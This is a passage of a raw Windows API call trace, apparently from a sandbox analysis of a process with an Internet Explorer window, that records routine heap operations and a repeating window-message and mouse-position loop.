[0186.428] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0186.428] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0186.428] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.428] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0186.428] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0186.428] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0186.428] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0186.428] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0186.428] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0186.428] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.428] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0186.428] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0186.428] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0186.428] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0186.428] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0186.428] IntersectRect (in: lprcDst=0x30e5cc, lprcSrc1=0x30e5cc, lprcSrc2=0x30e468 | out: lprcDst=0x30e5cc) returned 1 [0186.428] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.429] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831de8 [0186.429] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e5bc | out: lprcDst=0x30f108) returned 1 [0186.429] IntersectRect (in: lprcDst=0x30e478, lprcSrc1=0x30e478, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e478) returned 1 [0186.429] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e5dc | out: lprcDst=0x30f108) returned 1 [0186.429] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.429] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.429] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.429] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.429] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.429] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.429] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.429] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831de8 | out: hHeap=0x7f0000) returned 1 [0186.430] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0186.430] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0186.430] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0186.430] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.430] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0186.430] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0186.430] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0186.431] GetCurrentThreadId () returned 0xcd8 [0186.431] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0186.431] PtInRect (lprc=0x30f3d0, pt=0x1a3) returned 1 [0186.431] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x1801a3*=0, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0186.431] NtdllDefWindowProc_W () returned 0x0 [0186.431] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0186.431] GetCurrentThreadId () returned 0xcd8 [0186.431] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0186.431] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0186.431] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0186.431] GetCurrentThreadId () returned 0xcd8 [0186.431] GetCurrentThreadId () returned 0xcd8 [0186.431] GetCurrentThreadId () returned 0xcd8 [0186.432] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0186.633] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0186.633] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0186.633] GetCapture () returned 0x0 [0186.634] WindowFromPoint (Point=0x25a) returned 0x60018 [0186.634] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0186.634] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0186.634] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0186.634] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0186.634] GetCurrentThreadId () returned 0xcd8 [0186.634] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0186.946] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0186.946] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0186.946] GetCapture () returned 0x0 [0186.946] WindowFromPoint (Point=0x25a) returned 0x60018 [0186.946] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0186.946] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0186.946] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0186.946] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0186.946] GetCurrentThreadId () returned 0xcd8 [0186.946] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0187.257] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0187.257] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0187.257] GetCapture () returned 0x0 [0187.257] WindowFromPoint (Point=0x25a) returned 0x60018 [0187.257] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0187.257] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0187.257] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0187.258] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0187.258] GetCurrentThreadId () returned 0xcd8 [0187.258] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0187.569] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0187.569] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0187.569] GetCapture () returned 0x0 [0187.569] WindowFromPoint (Point=0x25a) returned 0x60018 [0187.569] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0187.569] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0187.569] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0187.570] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0187.570] GetCurrentThreadId () returned 0xcd8 [0187.570] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0187.881] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0187.881] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0187.881] GetCapture () returned 0x0 [0187.881] WindowFromPoint (Point=0x25a) returned 0x60018 [0187.881] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0187.881] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0187.881] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0187.882] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0187.882] GetCurrentThreadId () returned 0xcd8 [0187.882] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0188.193] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0188.193] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0188.194] GetCapture () returned 0x0 [0188.194] WindowFromPoint (Point=0x25a) returned 0x60018 [0188.194] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0188.194] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0188.194] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0188.194] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0188.194] GetCurrentThreadId () returned 0xcd8 [0188.194] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0188.505] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0188.505] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0188.505] GetCapture () returned 0x0 [0188.505] WindowFromPoint (Point=0x25a) returned 0x60018 [0188.505] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0188.505] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0188.505] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0188.505] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0188.506] GetCurrentThreadId () returned 0xcd8 [0188.506] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0188.817] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0188.817] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0188.817] GetCapture () returned 0x0 [0188.817] WindowFromPoint (Point=0x25a) returned 0x60018 [0188.817] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0188.817] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0188.818] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0188.818] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0188.818] GetCurrentThreadId () returned 0xcd8 [0188.818] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0189.131] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0189.131] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0189.131] GetCapture () returned 0x0 [0189.131] WindowFromPoint (Point=0x25a) returned 0x60018 [0189.131] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0189.131] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0189.131] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0189.131] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0189.131] GetCurrentThreadId () returned 0xcd8 [0189.131] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0189.442] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0189.442] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0189.442] GetCapture () returned 0x0 [0189.442] WindowFromPoint (Point=0x25a) returned 0x60018 [0189.442] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0189.442] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0189.442] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0189.442] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0189.442] GetCurrentThreadId () returned 0xcd8 [0189.442] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0189.753] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0189.753] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0189.753] GetCapture () returned 0x0 [0189.754] WindowFromPoint (Point=0x25a) returned 0x60018 [0189.754] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0189.754] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0189.754] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0189.754] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0189.754] GetCurrentThreadId () returned 0xcd8 [0189.754] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0190.065] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0190.065] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0190.065] GetCapture () returned 0x0 [0190.065] WindowFromPoint (Point=0x25a) returned 0x60018 [0190.065] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0190.065] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0190.066] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0190.066] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0190.066] GetCurrentThreadId () returned 0xcd8 [0190.066] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0190.377] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0190.377] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0190.377] GetCapture () returned 0x0 [0190.377] WindowFromPoint (Point=0x25a) returned 0x60018 [0190.377] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0190.377] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0190.377] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0190.378] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0190.378] GetCurrentThreadId () returned 0xcd8 [0190.378] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0190.690] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0190.690] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0190.690] GetCapture () returned 0x0 [0190.690] WindowFromPoint (Point=0x25a) returned 0x60018 [0190.690] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0190.690] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0190.690] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0190.690] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0190.690] GetCurrentThreadId () returned 0xcd8 [0190.690] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0191.001] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0191.001] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0191.001] GetCapture () returned 0x0 [0191.001] WindowFromPoint (Point=0x25a) returned 0x60018 [0191.001] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0191.001] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0191.002] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0191.002] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0191.002] GetCurrentThreadId () returned 0xcd8 [0191.002] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0191.314] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0191.314] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0191.314] GetCapture () returned 0x0 [0191.314] WindowFromPoint (Point=0x25a) returned 0x60018 [0191.314] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0191.314] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0191.314] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0191.314] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0191.314] GetCurrentThreadId () returned 0xcd8 [0191.314] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0191.625] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0191.625] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0191.625] GetCapture () returned 0x0 [0191.626] WindowFromPoint (Point=0x25a) returned 0x60018 [0191.626] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0191.626] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0191.626] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0191.626] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0191.626] GetCurrentThreadId () returned 0xcd8 [0191.626] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0191.945] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0191.945] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0191.945] GetCapture () returned 0x0 [0191.945] WindowFromPoint (Point=0x25a) returned 0x60018 [0191.945] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0191.945] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0191.945] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0191.945] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0191.946] GetCurrentThreadId () returned 0xcd8 [0191.946] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0192.249] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0192.249] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0192.249] GetCapture () returned 0x0 [0192.250] WindowFromPoint (Point=0x25a) returned 0x60018 [0192.250] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0192.250] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0192.250] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0192.250] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0192.250] GetCurrentThreadId () returned 0xcd8 [0192.250] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0192.561] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0192.561] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0192.561] GetCapture () returned 0x0 [0192.561] WindowFromPoint (Point=0x25a) returned 0x60018 [0192.561] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0192.561] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0192.562] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0192.562] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0192.562] GetCurrentThreadId () returned 0xcd8 [0192.562] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0192.875] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0192.875] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0192.875] GetCapture () returned 0x0 [0192.875] WindowFromPoint (Point=0x25a) returned 0x60018 [0192.875] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0192.875] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0192.875] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0192.875] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0192.876] GetCurrentThreadId () returned 0xcd8 [0192.876] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0193.186] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0193.186] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0193.186] GetCapture () returned 0x0 [0193.186] WindowFromPoint (Point=0x25a) returned 0x60018 [0193.186] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0193.186] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0193.186] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0193.186] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0193.186] GetCurrentThreadId () returned 0xcd8 [0193.186] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0193.497] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0193.497] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0193.497] GetCapture () returned 0x0 [0193.497] WindowFromPoint (Point=0x25a) returned 0x60018 [0193.497] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0193.497] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0193.497] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0193.498] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0193.498] GetCurrentThreadId () returned 0xcd8 [0193.498] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0193.820] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0193.820] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0193.820] GetCapture () returned 0x0 [0193.822] WindowFromPoint (Point=0x25a) returned 0x60018 [0193.822] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0193.822] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0193.822] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0193.822] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0193.822] GetCurrentThreadId () returned 0xcd8 [0193.822] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0194.122] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0194.122] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0194.122] GetCapture () returned 0x0 [0194.122] WindowFromPoint (Point=0x25a) returned 0x60018 [0194.122] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0194.122] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0194.122] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0194.122] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0194.122] GetCurrentThreadId () returned 0xcd8 [0194.122] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0194.434] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0194.434] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0194.435] GetCapture () returned 0x0 [0194.435] WindowFromPoint (Point=0x25a) returned 0x60018 [0194.435] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0194.435] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0194.435] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0194.435] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0194.435] GetCurrentThreadId () returned 0xcd8 [0194.435] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0194.746] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0194.746] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0194.746] GetCapture () returned 0x0 [0194.746] WindowFromPoint (Point=0x25a) returned 0x60018 [0194.746] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0194.746] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0194.746] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0194.746] PtInRect (lprc=0x30f390, pt=0x1a3) returned 1 [0194.746] GetCurrentThreadId () returned 0xcd8 [0194.746] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0195.057] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0195.057] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0195.058] GetCapture () returned 0x0 [0195.058] WindowFromPoint (Point=0x25a) returned 0x60018 [0195.058] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0195.058] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0195.058] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0195.058] PtInRect 